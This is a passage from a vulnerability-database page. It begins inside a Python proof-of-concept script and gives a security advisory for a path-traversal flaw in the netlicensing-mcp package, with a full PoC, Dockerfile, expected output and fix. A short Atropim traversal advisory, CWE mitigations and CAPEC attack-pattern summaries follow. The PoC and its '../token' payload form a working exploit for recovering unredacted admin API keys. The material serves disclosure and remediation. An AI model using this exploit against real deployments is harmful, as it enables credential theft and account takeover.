                                {"name": "tokenType", "value": "APIKEY"},
                                {"name": "role", "value": "ROLE_APIKEY_ADMIN"},
                                {"name": "active", "value": "true"},
                            ],
                        }
                    ]
                }
            }
            data = json.dumps(body).encode()
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.send_header("Content-Length", str(len(data)))
            self.end_headers()
            self.wfile.write(data)
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, *args: object) -> None:
        pass  # Suppress per-request log noise


async def run_poc(server_port: int) -> bool:
    """
    Invoke the vulnerable MCP tool with the traversal payload and check
    whether the upstream path was normalized and the secret leaked.

    Returns True when both conditions are confirmed.
    """
    import netlicensing_mcp.client as client
    from netlicensing_mcp.server import netlicensing_get_product

    # Redirect the HTTP client to the mock server.
    original_base_url = client.BASE_URL
    client.BASE_URL = f"http://127.0.0.1:{server_port}/core/v2/rest"

    # Inject a dummy API key so _headers() does not raise a 503.
    ctx_token = client.api_key_ctx.set("dummy-key-for-poc")
    try:
        # ---- THE EXPLOIT ------------------------------------------------
        # Pass "../token" as product_number.
        # products.get_product calls nl_get(f"/product/../token")
        # httpx normalizes /product/../token -> /token
        # The request hits /core/v2/rest/token on the mock server.
        # The response is serialized via _wrap_json (not _wrap_json_token_read)
        # so the APIKEY "number" field is NOT masked.
        # -----------------------------------------------------------------
        result: str = await netlicensing_get_product("../token")

        upstream_path = seen_paths[0] if seen_paths else "(none received)"
        path_traversal_ok = upstream_path == "/core/v2/rest/token"
        secret_in_output = SECRET_APIKEY in result

        print(f"UPSTREAM_PATH={upstream_path}")
        print(f"PATH_TRAVERSAL_OK={path_traversal_ok}")
        print(f"SECRET_LEAKED={secret_in_output}")
        print()
        print("=== MCP tool output (netlicensing_get_product('../token')) ===")
        print(result)
        print("=== end ===")

        if path_traversal_ok and secret_in_output:
            print()
            print(
                "[PASS] VULN-001 CONFIRMED: path traversal reached /token endpoint "
                f"and plaintext secret '{SECRET_APIKEY}' is present in MCP output"
            )
        else:
            if not path_traversal_ok:
                print(
                    f"[FAIL] Path traversal did not work: upstream_path={upstream_path!r}, "
                    "expected /core/v2/rest/token"
                )
            if not secret_in_output:
                print(
                    f"[FAIL] Secret '{SECRET_APIKEY}' not found in MCP output — "
                    "redaction may have been applied unexpectedly"
                )

        return path_traversal_ok and secret_in_output

    finally:
        client.api_key_ctx.reset(ctx_token)
        await client.close_client()
        client.BASE_URL = original_base_url


def main() -> None:
    # Bind the mock server on a random loopback port.
    mock_server = HTTPServer(("127.0.0.1", 0), MockNetLicensingHandler)
    port: int = mock_server.server_address[1]

    server_thread = threading.Thread(target=mock_server.serve_forever, daemon=True)
    server_thread.start()

    print(f"[*] Mock NetLicensing REST API listening on 127.0.0.1:{port}")
    print(f"[*] Invoking netlicensing_get_product(product_number='../token')")
    print()

    try:
        success = asyncio.run(run_poc(port))
    finally:
        mock_server.shutdown()

    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "netlicensing-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57496"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T17:22:02Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## REST Path Traversal Bypasses Token Redaction in netlicensing-mcp\n\n### Summary\n\nThe `netlicensing_get_product` MCP tool in `netlicensing-mcp` interpolates a caller-controlled `product_number` argument directly into a REST URL path without any validation. Passing `../token` as the product number causes `httpx` to normalize `/product/../token` into `/token`, silently redirecting the request to the NetLicensing token endpoint instead of the intended product endpoint. The response is then serialized through the generic `_wrap_json` wrapper rather than the token-specific `_wrap_json_token_read` wrapper, bypassing all APIKEY `number` and SHOP `shopURL` redaction. An authenticated MCP client can recover plaintext API key values that the token read tools intentionally mask, including admin-level APIKEY credentials. \n\n### Details\n\nThe vulnerability is a path traversal (CWE-22) that exploits the interaction between unsanitized string interpolation and `httpx`\u0027s WHATWG URL normalization.\n\n**Source \u2014 `src/netlicensing_mcp/tools/products.py:22`**\n\n```python\nasync def get_product(product_number: str) -\u003e dict:\n    \"\"\"Get a single product by its number.\"\"\"\n    return strip_output_fields(await nl_get(f\"/product/{product_number}\"))\n```\n\n`product_number` is inserted directly into the REST path with no validation. A value of `../token` produces the path `/product/../token`.\n\n**Sink \u2014 `src/netlicensing_mcp/client.py:143`**\n\n```python\nasync def nl_get(path: str, params: dict[str, str] | None = None) -\u003e dict[str, Any]:\n    client = _get_client()\n    url = f\"{BASE_URL}{path}\"\n    ...\n    r = await client.get(url, headers=_headers(), params=params or {})\n```\n\n`httpx` constructs the full URL as `{BASE_URL}/product/../token` and, per WHATWG URL normalization rules applied to absolute URLs, resolves it to `{BASE_URL}/token`. The HTTP request is therefore sent to the NetLicensing `/core/v2/rest/token` endpoint.\n\n**Redaction bypass \u2014 `src/netlicensing_mcp/server.py:336` and `src/netlicensing_mcp/redaction.py:180-239`**\n\nThe tool handler wraps the response via `_wrap_json(entity, \"Product\")`, which calls only the generic `_json()` redaction. The token-specific path `_wrap_json_token_read()` \u2192 `redact_token_read()` is never invoked. The function `redact_token_read()` at `redaction.py:180-239` is the only code that masks APIKEY `number` and SHOP `shopURL` fields; because it is not on this code path, the raw API key value is returned verbatim in the MCP tool output.\n\n**Complete data flow:**\n\n1. `server.py:312-321` \u2014 MCP dispatcher receives attacker-controlled `product_number` and calls `products.get_product(product_number)`.\n2. `tools/products.py:22` \u2014 value interpolated into `f\"/product/{product_number}\"` without validation.\n3. `client.py:143` \u2014 `url = f\"{BASE_URL}{path}\"`; `httpx` normalizes `../` and sends request to `/token` endpoint.\n4. `server.py:336` \u2014 response wrapped as `\"Product\"` via `_wrap_json`, not `_wrap_json_token_read`.\n5. `server.py:160-165` \u2014 generic `_json()` redaction applies only default-field masking.\n6. `redaction.py:180-239` \u2014 `redact_token_read()` with APIKEY/SHOP-specific masking is never reached.\n\n### PoC\n\n**Prerequisites**\n\n- Python 3.10+\n- `netlicensing-mcp` 0.1.5 (or local commit `c8a3fec`) installed or available via `PYTHONPATH`\n- `httpx`, `python-dotenv`, `mcp[cli]` installed\n\n**Option A \u2014 Docker (recommended, reproduces Phase 2 result)**\n\n```bash\n# Build from the repository root (requires repo/ and vuln-001/ directories)\ndocker build -t netlicensing-vuln-001 \\\n  -f vuln-001/Dockerfile \\\n  reports/pypiAi_1561_Labs64__NetLicensing-MCP/\n\n# Run \u2014 exit code 0 confirms the vulnerability\ndocker run --rm netlicensing-vuln-001\n```\n\n**Option B \u2014 Direct Python**\n\n```bash\ncd /path/to/Labs64__NetLicensing-MCP\nPYTHONPATH=src python3 - \u003c\u003c\u0027PY\u0027\nimport asyncio, json, threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nseen = []\nsecret = \"actual-api-key-value-5678\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        seen.append(self.path)\n        if self.path.endswith(\"/token\"):\n            body = {\"items\":{\"item\":[{\"type\":\"Token\",\"property\":[\n                {\"name\":\"number\",\"value\":secret},\n                {\"name\":\"tokenType\",\"value\":\"APIKEY\"},\n                {\"name\":\"role\",\"value\":\"ROLE_APIKEY_ADMIN\"},\n                {\"name\":\"active\",\"value\":\"true\"}\n            ]}]}}\n            data = json.dumps(body).encode()\n            self.send_response(200)\n            self.send_header(\"Content-Type\",\"application/json\")\n            self.send_header(\"Content-Length\",str(len(data)))\n            self.end_headers()\n            self.wfile.write(data)\n        else:\n            self.send_response(404); self.end_headers()\n    def log_message(self, *args): pass\n\nsrv = HTTPServer((\"127.0.0.1\", 0), Handler)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\n\nasync def main():\n    import netlicensing_mcp.client as c\n    c.BASE_URL = f\"http://127.0.0.1:{srv.server_port}/core/v2/rest\"\n    tok = c.api_key_ctx.set(\"dummy\")\n    try:\n        from netlicensing_mcp.server import netlicensing_get_product\n        out = await netlicensing_get_product(\"../token\")\n        print(\"UPSTREAM_PATH=\" + seen[0])\n        print(\"SECRET_LEAKED=\" + str(secret in out))\n        print(out)\n    finally:\n        c.api_key_ctx.reset(tok)\n        await c.close_client()\n        srv.shutdown()\n\nasyncio.run(main())\nPY\n```\n\n**Expected output**\n\n```text\nUPSTREAM_PATH=/core/v2/rest/token\nPATH_TRAVERSAL_OK=True\nSECRET_LEAKED=True\n\n=== MCP tool output (netlicensing_get_product(\u0027../token\u0027)) ===\n{\n  \"number\": \"actual-api-key-value-5678\",\n  \"tokenType\": \"APIKEY\",\n  \"role\": \"ROLE_APIKEY_ADMIN\",\n  \"active\": true,\n  \"type\": \"Token\",\n  \"console_url\": \"https://ui.netlicensing.io/#/tokens/actual-api-key-value-5678\",\n  \"warnings\": [],\n  \"suggested_actions\": []\n}\n[PASS] VULN-001 CONFIRMED: path traversal reached /token endpoint and plaintext secret \u0027actual-api-key-value-5678\u0027 is present in MCP output\n```\n\nThe `number` field contains the raw API key value and `console_url` embeds it in plaintext \u2014 both fields that `redact_token_read()` would otherwise mask.\n\n**Remediation**\n\nAdd a centralized path-segment validator in `client.py` and call it from all HTTP helper functions (`nl_get`, `nl_post`, `nl_put`, `nl_delete`):\n\n```diff\n+from urllib.parse import unquote\n+\n+def _validated_path(path: str) -\u003e str:\n+    if not path.startswith(\"/\"):\n+        raise NetLicensingError(400, \"Internal error: upstream path must start with \u0027/\u0027\")\n+    for segment in path.split(\"/\"):\n+        decoded = unquote(segment)\n+        if decoded in {\".\", \"..\"} or \"/\" in decoded or \"\\\\\" in decoded:\n+            raise NetLicensingError(400, \"Invalid identifier: path separators are not allowed\")\n+        if any(ord(ch) \u003c 32 for ch in decoded):\n+            raise NetLicensingError(400, \"Invalid identifier: control characters are not allowed\")\n+    return path\n+\n async def nl_get(path: str, ...) -\u003e dict[str, Any]:\n-    url = f\"{BASE_URL}{path}\"\n+    url = f\"{BASE_URL}{_validated_path(path)}\"\n```\n\nApply the same change to `nl_post`, `nl_put`, and `nl_delete`. Add regression tests for inputs `../token`, `%2e%2e`, `%2f`, and `x/y`.\n\n### Impact\n\nAn authenticated MCP client (one that already holds a NetLicensing API key sufficient to call any MCP tool) can call `netlicensing_get_product(\"../token\")` to retrieve plaintext APIKEY `number` values and SHOP `shopURL` values that the dedicated token read tools (`netlicensing_get_token`, `netlicensing_list_tokens`) intentionally redact. If the retrieved token carries `ROLE_APIKEY_ADMIN` privileges, the attacker gains full read/write/delete access over all resources in the target NetLicensing account, escalating from a scoped MCP client to account owner.\n\nThis vulnerability is exploitable in any deployment mode \u2014 stdio (single-user) and HTTP/shared \u2014 because no non-default configuration is required. The attack requires only a valid API key to authenticate the MCP session; no admin privileges are needed to trigger the traversal.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nWORKDIR /app\n\n# Copy the cloned repository source\nCOPY repo/ /app/repo/\n\n# Install runtime dependencies directly to avoid hatch-vcs version-detection\n# issues when building outside a proper git-tagged worktree.\nRUN pip install --no-cache-dir \\\n    \"httpx\u003e=0.27.0\" \\\n    \"python-dotenv\u003e=1.0.0\" \\\n    \"mcp[cli]\u003e=1.7.0\"\n\n# Make the package importable via PYTHONPATH (avoids editable-install build step)\nENV PYTHONPATH=/app/repo/src\n\n# Copy the proof-of-concept script\nCOPY vuln-001/poc.py /app/poc.py\n\n# Exit code 0 = PASS (secret leaked), 1 = FAIL\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof of Concept: REST Path Traversal Bypasses Token Redaction\n=======================================================================\nVulnerability: netlicensing_get_product(product_number=\"../token\")\n\nAttack flow:\n  1. product_number=\"../token\" is interpolated into f\"/product/{product_number}\"\n     =\u003e path = \"/product/../token\"\n  2. client.py builds url = f\"{BASE_URL}/product/../token\"\n  3. httpx normalizes the URL per WHATWG: /product/../token =\u003e /token\n     =\u003e actual HTTP request lands on BASE_URL/token (the token endpoint)\n  4. Response is wrapped via _wrap_json(..., \"Product\") which calls _json()\n     =\u003e only default-field redaction (apiKey, secret, etc.) runs\n     =\u003e _wrap_json_token_read() / redact_token_read() is NEVER called\n  5. APIKEY token \"number\" field (= the raw API key value) is returned in\n     plaintext in the MCP tool output.\n\nExpected exit codes:\n  0 \u2014 PASS: path traversal confirmed AND secret found in MCP output\n  1 \u2014 FAIL: could not confirm the vulnerability\n\"\"\"\n\nimport asyncio\nimport json\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# Sentinel value used as the fake APIKEY token number (the \"leaked secret\").\nSECRET_APIKEY = \"actual-api-key-value-5678\"\n\n# Collects every upstream request path received by the mock server.\nseen_paths: list[str] = []\n\n\nclass MockNetLicensingHandler(BaseHTTPRequestHandler):\n    \"\"\"Minimal mock of the NetLicensing REST API for PoC isolation.\"\"\"\n\n    def do_GET(self) -\u003e None:\n        seen_paths.append(self.path)\n\n        # Respond to ANY path ending with \"/token\" to capture both the\n        # normalized (/core/v2/rest/token) and raw (/core/v2/rest/product/../token)\n        # cases \u2014 in practice httpx always sends the normalized form.\n        if self.path.endswith(\"/token\"):\n            body: dict = {\n                \"items\": {\n                    \"item\": [\n                        {\n                            \"type\": \"Token\",\n                            \"property\": [\n                                {\"name\": \"number\", \"value\": SECRET_APIKEY},\n                                {\"name\": \"tokenType\", \"value\": \"APIKEY\"},\n                                {\"name\": \"role\", \"value\": \"ROLE_APIKEY_ADMIN\"},\n                                {\"name\": \"active\", \"value\": \"true\"},\n                            ],\n                        }\n                    ]\n                }\n            }\n            data = json.dumps(body).encode()\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/json\")\n            self.send_header(\"Content-Length\", str(len(data)))\n            self.end_headers()\n            self.wfile.write(data)\n        else:\n            self.send_response(404)\n            self.end_headers()\n\n    def log_message(self, *args: object) -\u003e None:\n        pass  # Suppress per-request log noise\n\n\nasync def run_poc(server_port: int) -\u003e bool:\n    \"\"\"\n    Invoke the vulnerable MCP tool with the traversal payload and check\n    whether the upstream path was normalized and the secret leaked.\n\n    Returns True when both conditions are confirmed.\n    \"\"\"\n    import netlicensing_mcp.client as client\n    from netlicensing_mcp.server import netlicensing_get_product\n\n    # Redirect the HTTP client to the mock server.\n    original_base_url = client.BASE_URL\n    client.BASE_URL = f\"http://127.0.0.1:{server_port}/core/v2/rest\"\n\n    # Inject a dummy API key so _headers() does not raise a 503.\n    ctx_token = client.api_key_ctx.set(\"dummy-key-for-poc\")\n    try:\n        # ---- THE EXPLOIT ------------------------------------------------\n        # Pass \"../token\" as product_number.\n        # products.get_product calls nl_get(f\"/product/../token\")\n        # httpx normalizes /product/../token -\u003e /token\n        # The request hits /core/v2/rest/token on the mock server.\n        # The response is serialized via _wrap_json (not _wrap_json_token_read)\n        # so the APIKEY \"number\" field is NOT masked.\n        # -----------------------------------------------------------------\n        result: str = await netlicensing_get_product(\"../token\")\n\n        upstream_path = seen_paths[0] if seen_paths else \"(none received)\"\n        path_traversal_ok = upstream_path == \"/core/v2/rest/token\"\n        secret_in_output = SECRET_APIKEY in result\n\n        print(f\"UPSTREAM_PATH={upstream_path}\")\n        print(f\"PATH_TRAVERSAL_OK={path_traversal_ok}\")\n        print(f\"SECRET_LEAKED={secret_in_output}\")\n        print()\n        print(\"=== MCP tool output (netlicensing_get_product(\u0027../token\u0027)) ===\")\n        print(result)\n        print(\"=== end ===\")\n\n        if path_traversal_ok and secret_in_output:\n            print()\n            print(\n                \"[PASS] VULN-001 CONFIRMED: path traversal reached /token endpoint \"\n                f\"and plaintext secret \u0027{SECRET_APIKEY}\u0027 is present in MCP output\"\n            )\n        else:\n            if not path_traversal_ok:\n                print(\n                    f\"[FAIL] Path traversal did not work: upstream_path={upstream_path!r}, \"\n                    \"expected /core/v2/rest/token\"\n                )\n            if not secret_in_output:\n                print(\n                    f\"[FAIL] Secret \u0027{SECRET_APIKEY}\u0027 not found in MCP output \u2014 \"\n                    \"redaction may have been applied unexpectedly\"\n                )\n\n        return path_traversal_ok and secret_in_output\n\n    finally:\n        client.api_key_ctx.reset(ctx_token)\n        await client.close_client()\n        client.BASE_URL = original_base_url\n\n\ndef main() -\u003e None:\n    # Bind the mock server on a random loopback port.\n    mock_server = HTTPServer((\"127.0.0.1\", 0), MockNetLicensingHandler)\n    port: int = mock_server.server_address[1]\n\n    server_thread = threading.Thread(target=mock_server.serve_forever, daemon=True)\n    server_thread.start()\n\n    print(f\"[*] Mock NetLicensing REST API listening on 127.0.0.1:{port}\")\n    print(f\"[*] Invoking netlicensing_get_product(product_number=\u0027../token\u0027)\")\n    print()\n\n    try:\n        success = asyncio.run(run_poc(port))\n    finally:\n        mock_server.shutdown()\n\n    sys.exit(0 if success else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-hxpf-9xvq-wph8",
  "modified": "2026-07-21T13:41:34Z",
  "published": "2026-06-18T17:22:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Labs64/NetLicensing-MCP/security/advisories/GHSA-hxpf-9xvq-wph8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Labs64/NetLicensing-MCP"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "netlicensing-mcp: REST Path Traversal Bypasses Token Redaction"
}

GHSA-HXPR-V34C-PJRM

Vulnerability from github – Published: 2023-04-14 03:30 – Updated: 2024-04-04 03:27
VLAI
Details

Atropim 1.5.26 is vulnerable to Directory Traversal.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-26969"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-14T02:15:00Z",
    "severity": "HIGH"
  },
  "details": "Atropim 1.5.26 is vulnerable to Directory Traversal.",
  "id": "GHSA-hxpr-v34c-pjrm",
  "modified": "2024-04-04T03:27:44Z",
  "published": "2023-04-14T03:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26969"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/atrocore/atrocore-1.5.26"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.